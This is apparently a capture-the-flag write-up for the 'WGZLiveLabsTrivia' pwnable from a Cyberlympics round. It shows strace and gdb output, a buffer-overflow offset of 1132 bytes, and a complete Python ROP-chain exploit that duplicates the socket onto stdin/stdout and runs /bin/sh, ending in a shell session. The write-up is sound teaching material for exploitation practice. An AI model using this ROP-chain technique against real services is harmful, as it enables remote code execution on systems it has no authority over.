This year I competed for the first time in the Cyberlympics contest. This year it was created by warl0ckgam3z. Our 4-man team managed to get to the third round in Europe, but we wasted too much time on some challenges and were beaten by two of last years finalists. One of the challenges in round3 was a pwnable named WGZLiveLabsTrivia. I didn’t solve it during the contest, but the day after and still wanted to write about it. So sorry about the delay. but here finally is the write up. (Also the team, that did solve this during the contest, used the same principle).
The binary we got was a simple server which listens on port 1432 and asks for a Logon: name. If not correct it exits with a Goodbye message.
1 2 3 4 5 6 7 8 |
$ netcat -vv localhost 1432 Connection to localhost 1432 port [tcp/*] succeeded! WGZLiveLabs Logon:hello Goodbye |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
$ strace -f ./WGZLiveLabsTrivia execve("./WGZLiveLabsTrivia", ["./WGZLiveLabsTrivia"], [/* 25 vars */]) = 0 [ Process PID=25530 runs in 32 bit mode. ] uname({sys="Linux", node="kif", ...}) = 0 brk(0) = 0x80ca000 brk(0x80cacd0) = 0x80cacd0 set_thread_area(0xffffd570) = 0 brk(0x80ebcd0) = 0x80ebcd0 brk(0x80ec000) = 0x80ec000 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0 bind(3, {sa_family=AF_INET, sin_port=htons(1432), sin_addr=inet_addr("0.0.0.0")}, 16) = 0 getuid32() = 1000 listen(3, 5) = 0 accept(3, {sa_family=AF_INET, sin_port=htons(49366), sin_addr=inet_addr("127.0.0.1")}, [16]) = 4 clone(Process 25538 attached child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0) = 25538 [pid 25538] close(3 <unfinished ...> [pid 25530] close(4 <unfinished ...> [pid 25538] <... close resumed> ) = 0 [pid 25530] <... close resumed> ) = 0 [pid 25538] write(4, "\nWGZLiveLabs\n", 13 <unfinished ...> [pid 25530] accept(3, <unfinished ...> [pid 25538] <... write resumed> ) = 13 [pid 25538] write(4, "Logon:", 6) = 6 [pid 25538] read(4, "hello\n", 1000) = 6 [pid 25538] write(4, "\nGoodbye\n", 9) = 9 [pid 25538] close(4) = 0 [pid 25538] exit_group(1) = ? Process 25538 detached <... accept resumed> 0xffffd574, [16]) = ? ERESTARTSYS (To be restarted) --- SIGCHLD (Child exited) @ 0 (0) --- |
The first task is to find the Logon name. With our good friend strings we were able to find the name Joshua. When logging in with Joshua, it just asks us for a bunch of questions and ends with the question of the launch code.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
$ strings -a WGZLiveLabsTrivia | grep -A3 -B3 Logon Joshua CPE 1704 TKS WGZLiveLabs Logon: Goodbye Greetings Professor Falken How are you feeling today? $ netcat -vv localhost 1432 Connection to localhost 1432 port [tcp/*] succeeded! WGZLiveLabs Logon:Joshua Greetings Professor Falken How are you feeling today? Excellent. Its been a long time. Can you explain the removal of your user account number on 6/23/73? Yes they do. Shall we play a game? Wouldn't you prefer a good game of chess??? Fine. Launch Code?: |
And the Launch Code contains a buffer overflow. We started the server in gdb (with peda) and used moneyshot to create a pattern and see how big our buffer is.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
$ gdb ./WGZLiveLabsTrivia ... gdb-peda$ r [New process 28062] Program received signal SIGSEGV, Segmentation fault. [Switching to process 28062] [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x0 ECX: 0x0 EDX: 0x3e9 ESI: 0x8048da0 (<__libc_csu_fini>: push ebp) EDI: 0xd5bcd800 EBP: 0x42366c42 ('Bl6B') ESP: 0xffffd520 ("8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4B"...) EIP: 0x6c42376c ('l7Bl') EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x6c42376c [------------------------------------stack-------------------------------------] 0000| 0xffffd520 ("8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4B"...) 0004| 0xffffd524 ("Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs"...) 0008| 0xffffd528 ("m1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7"...) 0012| 0xffffd52c ("2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8B"...) 0016| 0xffffd530 ("Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt"...) 0020| 0xffffd534 ("m5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1"...) 0024| 0xffffd538 ("6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2B"...) 0028| 0xffffd53c ("Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt"...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x6c42376c in ?? () |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
$ (echo "Joshua" ; moneyshot.py pattern 2000) |netcat -vv localhost 1432 Connection to localhost 1432 port [tcp/*] succeeded! WGZLiveLabs Logon: Greetings Professor Falken How are you feeling today? Excellent. Its been a long time. Can you explain the removal of your user account number on 6/23/73? Yes they do. Shall we play a game? Wouldn't you prefer a good game of chess??? Fine. Launch Code?: Launch code received ^C $ moneyshot.py pattern 2000 0x6c42376c 1132 |
So our buffer needs 1132 characters to overwrite EIP. So far the easy part. Next thing is to figure out our best way of exploitation. We don’t have an executable stack and we don’t know anything about the system it runs on (libc/aslr). While looking for ROP gadgets in the objdump -d output, we noticed several int $0x80 instructions. So we could do something like:
1 2 3 4 |
dup2(4,0) EAX: 0x3f, EBX: 4, ECX: 0 dup2(4,1) EAX: 0x3f, EBX: 4, ECX: 1 execve("/bin/sh", arg, env) EAX: 0xb, EBX: </bin/sh>, ECX: <args>, EDX: <env> |
At the end I came up with the following ROP-chain (comments in code). Not the most elegant solution, but it works.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 |
#!/usr/bin/python import socket,sys,struct # Ropchain # - Push "/bin//sh" on stack # - Call dup2(4,0) with int 0x80 # - Call dup2(4,1) with int 0x80 # - Call execve systemcall with int 0x80 # Gadgets we use STACK = 0x080c7720 # .bss INT80 = 0x080533a0 # int $0x80 ; ret POPECX = 0x08052c82 # pop ecx ; pop ebx ; ret POPEAX = 0x08084a2a # pop eax ; pop ebx ; pop esi ; pop edi ; ret POPALL = 0x08052c81 # pop edx ; pop ecx ; pop ebx ; ret MOVEAX = 0x08049ca2 # mov %eax,(%ecx); pop ebp ; ret MOVEAXECX = 0x0806ffe6 # mov %eax,%ecx;...;ret MOVEAXEDX = 0x0808d5ae # mov %eax,%edx;cmpl $0x0,0x4(%ecx,%edx,4);jne;pop ebp;ret MOVEDXEBX = 0x08051d57 # mov %edx,%ebx;cmp $0xfffff001,%eax;jae;ret XOREAX = 0x08059030 # xor eax, eax; pop ebp; ret INCEAX = 0x0806a9df # inc eax;ret DUMMY = 0x44444444 # dummy # Functions def p(x): return struct.pack("<L",x) # Buffer payload = "A" * 1128 # buf payload += "BBBB" # ebp # Put "/bin//sh" on stack payload += p(POPECX) # set Stack address in ecx payload += p(STACK) payload += p(DUMMY) # padding payload += p(POPEAX) # Add our string to stack payload += "/bin" # put "/bin" in %eax payload += p(DUMMY) # padding payload += p(DUMMY) # padding payload += p(DUMMY) # padding payload += p(MOVEAX) # move "/bin" to stack payload += p(DUMMY) # padding payload += p(POPECX) # Set stack + 4 payload += p(STACK + 4) payload += p(DUMMY) # padding payload += p(POPEAX) # Add our string to stack payload += "//sh" # put "//sh" in %eax payload += p(DUMMY) # padding payload += p(DUMMY) # padding payload += p(DUMMY) # padding payload += p(MOVEAX) # move "//sh" to stack payload += p(DUMMY) # padding payload += p(POPECX) # Set stack +8 payload += p(STACK+8) payload += p(DUMMY) # padding payload += p(XOREAX) # set eax to 0 payload += p(DUMMY) # padding payload += p(MOVEAX) # move \x00 to stack payload += p(DUMMY) # padding # Create arg list for argv in execve payload += p(POPECX) # Set stack + 50 payload += p(STACK + 50) payload += p(DUMMY) # padding payload += p(POPEAX) # Add our argv[0] to stack payload += p(STACK) # pointer to "/bin//sh" payload += p(DUMMY) # padding payload += p(DUMMY) # padding payload += p(DUMMY) # padding payload += p(MOVEAX) # move to stack payload += p(DUMMY) # padding # dup2(4,0) - messy rop-ing, but it works # SET ECX to stack address, so that it can be used in our mov eax,edx gadget payload += p(POPECX) payload += p(STACK) payload += p(DUMMY) # Set EBX to 4 payload += p(XOREAX) # Set eax to 0 payload += p(DUMMY) # Padding payload += p(INCEAX)*4 # set eax to 4 payload += p(MOVEAXEDX) # mov eax, edx payload += p(DUMMY) # Padding payload += p(MOVEDXEBX) # mov edx, ebx # Set ECX to 0 payload += p(XOREAX) # Set eax to 0 payload += p(DUMMY) # Padding payload += p(MOVEAXECX) # Mov eax,ecx # Set eax to 0x3f and execute payload += p(INCEAX)*0x3f # Increase eax to 0x3f payload += p(INT80) # execute # dup2(4,1) # Set ECX to 1 payload += p(XOREAX) # Set eax to 0 payload += p(DUMMY) # Padding payload += p(INCEAX) # set eax to 1 payload += p(MOVEAXECX) # Mov eax,ecx # Set eax to 0x3f and execute payload += p(INCEAX)*0x3e # Increase eax to 0x3f payload += p(INT80) # execute # Execve payload += p(XOREAX) # set eax to 0 payload += p(DUMMY) # padding payload += p(INCEAX)*0xb # set eax to 0xb payload += p(POPALL) # set arguments payload += p(STACK + 40) # edx char *env payload += p(STACK + 50) # ecx char **arguments payload += p(STACK) # ebx "/bin//sh" payload += p(INT80) # execute print payload |
And running it locally returns a shell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
$ (echo Joshua;python trivia2.py ;cat) | netcat -vv localhost 1432 Connection to localhost 1432 port [tcp/*] succeeded! WGZLiveLabs Logon: Greetings Professor Falken How are you feeling today? Excellent. Its been a long time. Can you explain the removal of your user account number on 6/23/73? Yes they do. Shall we play a game? Wouldn't you prefer a good game of chess??? Fine. Launch Code?: Launch code received id uid=1001(trivia) gid=1001(trivia) groups=1001(trivia) |